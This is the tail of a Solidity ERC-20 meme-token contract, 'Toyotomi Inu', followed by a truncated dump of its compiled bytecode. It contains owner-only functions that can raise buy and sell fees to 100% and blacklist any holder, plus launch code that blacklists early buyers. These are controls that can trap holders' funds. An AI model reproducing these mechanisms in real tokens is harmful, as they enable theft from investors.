_allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TOYOTOMIINU is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = false; bool public tradingActive = true; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Toyotomi Inu", "TOYO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 4; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 4; uint256 _sellDevFee = 1; uint256 _earlySellLiquidityFee = 10; uint256 _earlySellMarketingFee = 14; uint256 _earlySellDevFee = 1; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 3% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 100, "Must keep fees at 100% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 100, "Must keep fees at 100% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 4; sellMarketingFee = 4; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 4; sellMarketingFee = 4; sellDevFee = 4; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } }
0x6080604052600436106103905760003560e01c80638da5cb5b116101dc578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a77578063f2fde38b14610a8d578063f637434214610aad578063f8b45b0514610ac357600080fd5b8063d85ba063146109f0578063dd62ed3e14610a06578063e2f4560514610a4c578063e884f26014610a6257600080fd5b8063c18bc195116100dc578063c18bc19514610980578063c876d0b9146109a0578063c8c8ebe4146109ba578063d257b34f146109d057600080fd5b8063b62496f514610911578063bbc0c74214610941578063c02466681461096057600080fd5b80639fccce321161017a578063a4d15b6411610149578063a4d15b641461089a578063a7fc9e21146108bb578063a9059cbb146108d1578063aacebbe3146108f157600080fd5b80639fccce321461082e578063a0d82dc514610844578063a26577781461085a578063a457c2d71461087a57600080fd5b8063924de9b7116101b6578063924de9b7146107c357806395d89b41146107e35780639a7a23d6146107f85780639c3b4fdc1461081857600080fd5b80638da5cb5b1461076f5780638ea5220f1461078d57806392136913146107ad57600080fd5b806339509351116102c157806370a082311161025f57806375f0a8741161022e57806375f0a874146107045780637bce5a04146107245780638095d5641461073a5780638a8c523c1461075a57600080fd5b806370a0823114610684578063715018a6146106ba578063751039fc146106cf5780637571336a146106e457600080fd5b80634fbee1931161029b5780634fbee193146105ff578063541a43cf146106385780636a486a8e1461064e5780636ddd17131461066457600080fd5b8063395093511461059157806349bd5a5e146105b15780634a62bb65146105e557600080fd5b80631f3fed8f1161032e57806323b872dd1161030857806323b872dd1461051f5780632bf3d42d1461053f5780632d5a5d3414610555578063313ce5671461057557600080fd5b80631f3fed8f146104c9578063203e727e146104df57806322d3e2aa146104ff57600080fd5b80631694505e1161036a5780631694505e1461042657806318160ddd146104725780631816467f146104915780631a8145bb146104b357600080fd5b806306fdde031461039c578063095ea7b3146103c757806310d5de53146103f757600080fd5b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610ad9565b6040516103be9190612afb565b60405180910390f35b3480156103d357600080fd5b506103e76103e2366004612b68565b610b6b565b60405190151581526020016103be565b34801561040357600080fd5b506103e7610412366004612b94565b602080526000908152604090205460ff1681565b34801561043257600080fd5b5061045a7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103be565b34801561047e57600080fd5b506002545b6040519081526020016103be565b34801561049d57600080fd5b506104b16104ac366004612b94565b610b82565b005b3480156104bf57600080fd5b50610483601c5481565b3480156104d557600080fd5b50610483601b5481565b3480156104eb57600080fd5b506104b16104fa366004612bb1565b610c12565b34801561050b57600080fd5b506104b161051a366004612bca565b610cef565b34801561052b57600080fd5b506103e761053a366004612c0d565b610da9565b34801561054b57600080fd5b5061048360195481565b34801561056157600080fd5b506104b1610570366004612c5e565b610e12565b34801561058157600080fd5b50604051601281526020016103be565b34801561059d57600080fd5b506103e76105ac366004612b68565b610e67565b3480156105bd57600080fd5b5061045a7f000000000000000000000000d323c2bb17e39e9f1ae4d2176c1bb2be732bd97581565b3480156105f157600080fd5b50600b546103e79060ff1681565b34801561060b57600080fd5b506103e761061a366004612b94565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561064457600080fd5b5061048360185481565b34801561065a57600080fd5b5061048360145481565b34801561067057600080fd5b50600b546103e79062010000900460ff1681565b34801561069057600080fd5b5061048361069f366004612b94565b6001600160a01b031660009081526020819052604090205490565b3480156106c657600080fd5b506104b1610e9d565b3480156106db57600080fd5b506103e7610f11565b3480156106f057600080fd5b506104b16106ff366004612c5e565b610f4e565b34801561071057600080fd5b5060065461045a906001600160a01b031681565b34801561073057600080fd5b5061048360115481565b34801561074657600080fd5b506104b1610755366004612c93565b610fa2565b34801561076657600080fd5b506104b161104a565b34801561077b57600080fd5b506005546001600160a01b031661045a565b34801561079957600080fd5b5060075461045a906001600160a01b031681565b3480156107b957600080fd5b5061048360155481565b3480156107cf57600080fd5b506104b16107de366004612cbf565b61108b565b3480156107ef57600080fd5b506103b16110d1565b34801561080457600080fd5b506104b1610813366004612c5e565b6110e0565b34801561082457600080fd5b5061048360135481565b34801561083a57600080fd5b50610483601d5481565b34801561085057600080fd5b5061048360175481565b34801561086657600080fd5b506104b1610875366004612cbf565b6111c0565b34801561088657600080fd5b506103e7610895366004612b68565b611208565b3480156108a657600080fd5b50600b546103e7906301000000900460ff1681565b3480156108c757600080fd5b50610483601a5481565b3480156108dd57600080fd5b506103e76108ec366004612b68565b611257565b3480156108fd57600080fd5b506104b161090c366004612b94565b611264565b34801561091d57600080fd5b506103e761092c366004612b94565b60216020526000908152604090205460ff1681565b34801561094d57600080fd5b50600b546103e790610100900460ff1681565b34801561096c57600080fd5b506104b161097b366004612c5e565b6112eb565b34801561098c57600080fd5b506104b161099b366004612bb1565b611374565b3480156109ac57600080fd5b50600f546103e79060ff1681565b3480156109c657600080fd5b5061048360085481565b3480156109dc57600080fd5b506103e76109eb366004612bb1565b611445565b3480156109fc57600080fd5b5061048360105481565b348015610a1257600080fd5b50610483610a21366004612cda565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a5857600080fd5b5061048360095481565b348015610a6e57600080fd5b506103e761159c565b348015610a8357600080fd5b5061048360125481565b348015610a9957600080fd5b506104b1610aa8366004612b94565b6115d9565b348015610ab957600080fd5b5061048360165481565b348015610acf57600080fd5b50610483600a5481565b606060038054610ae890612d13565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612d13565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b6000610b7833848461172a565b5060015b92915050565b6005546001600160a01b03163314610bb55760405162461bcd60e51b8152600401610bac90612d4e565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c3c5760405162461bcd60e51b8152600401610bac90612d4e565b670de0b6b3a76400006103e8610c5160025490565b610c5c906001612d99565b610c669190612db8565b610c709190612db8565b811015610cd75760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610bac565b610ce981670de0b6b3a7640000612d99565b60085550565b6005546001600160a01b03163314610d195760405162461bcd60e51b8152600401610bac90612d4e565b60158690556016859055601784905560188390556019829055601a81905583610d428688612dda565b610d4c9190612dda565b601481905560641015610da15760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b65657020666565732061742031303025206f72206c65737300006044820152606401610bac565b505050505050565b6000610db684848461184f565b610e088433610e0385604051806060016040528060288152602001612f8a602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612343565b61172a565b5060019392505050565b6005546001600160a01b03163314610e3c5760405162461bcd60e51b8152600401610bac90612d4e565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b78918590610e0390866116c4565b6005546001600160a01b03163314610ec75760405162461bcd60e51b8152600401610bac90612d4e565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f3e5760405162461bcd60e51b8152600401610bac90612d4e565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f785760405162461bcd60e51b8152600401610bac90612d4e565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610bac90612d4e565b60118390556012829055601381905580610fe68385612dda565b610ff09190612dda565b6010819055606410156110455760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b65657020666565732061742031303025206f72206c65737300006044820152606401610bac565b505050565b6005546001600160a01b031633146110745760405162461bcd60e51b8152600401610bac90612d4e565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b031633146110b55760405162461bcd60e51b8152600401610bac90612d4e565b600b8054911515620100000262ff000019909216919091179055565b606060048054610ae890612d13565b6005546001600160a01b0316331461110a5760405162461bcd60e51b8152600401610bac90612d4e565b7f000000000000000000000000d323c2bb17e39e9f1ae4d2176c1bb2be732bd9756001600160a01b0316826001600160a01b031614156111b25760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610bac565b6111bc828261237d565b5050565b6005546001600160a01b031633146111ea5760405162461bcd60e51b8152600401610bac90612d4e565b600b805491151563010000000263ff00000019909216919091179055565b6000610b783384610e0385604051806060016040528060258152602001612fb2602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612343565b6000610b7833848461184f565b6005546001600160a01b0316331461128e5760405162461bcd60e51b8152600401610bac90612d4e565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113155760405162461bcd60e51b8152600401610bac90612d4e565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461139e5760405162461bcd60e51b8152600401610bac90612d4e565b670de0b6b3a76400006103e86113b360025490565b6113be906005612d99565b6113c89190612db8565b6113d29190612db8565b81101561142d5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610bac565b61143f81670de0b6b3a7640000612d99565b600a5550565b6005546000906001600160a01b031633146114725760405162461bcd60e51b8152600401610bac90612d4e565b620186a061147f60025490565b61148a906001612d99565b6114949190612db8565b8210156115015760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610bac565b6103e861150d60025490565b611518906005612d99565b6115229190612db8565b82111561158e5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610bac565b50600981905560015b919050565b6005546000906001600160a01b031633146115c95760405162461bcd60e51b8152600401610bac90612d4e565b50600f805460ff19169055600190565b6005546001600160a01b031633146116035760405162461bcd60e51b8152600401610bac90612d4e565b6001600160a01b0381166116685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bac565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806116d18385612dda565b9050838110156117235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610bac565b9392505050565b6001600160a01b03831661178c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bac565b6001600160a01b0382166117ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bac565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166118755760405162461bcd60e51b8152600401610bac90612df2565b6001600160a01b03821661189b5760405162461bcd60e51b8152600401610bac90612e37565b6001600160a01b0382166000908152600e602052604090205460ff161